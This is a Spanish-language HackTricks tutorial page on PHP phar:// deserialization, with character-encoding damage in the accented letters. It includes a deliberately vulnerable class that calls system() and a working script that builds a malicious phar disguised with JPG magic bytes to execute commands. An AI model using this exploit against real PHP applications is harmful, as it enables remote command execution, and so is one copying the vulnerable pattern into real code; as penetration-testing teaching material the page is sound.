phar:// deserialization
Reading time: 3 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Los archivos Phar (PHP Archive) contienen metadatos en formato serializado, por lo que, al ser analizados, estos metadatos son deserializados y puedes intentar abusar de una vulnerabilidad de deserializaci贸n dentro del c贸digo PHP.
Lo mejor de esta caracter铆stica es que esta deserializaci贸n ocurrir谩 incluso utilizando funciones de PHP que no eval煤an c贸digo PHP como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize().
As铆 que, imagina una situaci贸n en la que puedes hacer que un web PHP obtenga el tama帽o de un archivo arbitrario utilizando el protocolo phar://
, y dentro del c贸digo encuentras una clase similar a la siguiente:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
Puedes crear un phar archivo que al ser cargado abusar谩 de esta clase para ejecutar comandos arbitrarios con algo como:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Nota c贸mo los bytes m谩gicos de JPG (\xff\xd8\xff
) se a帽aden al principio del archivo phar para eludir posibles restricciones de subida de archivos.
Compila el archivo test.phar
con:
php --define phar.readonly=0 create_phar.php
Y ejecuta el comando whoami
abusando del c贸digo vulnerable con:
php vuln.php
Referencias
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.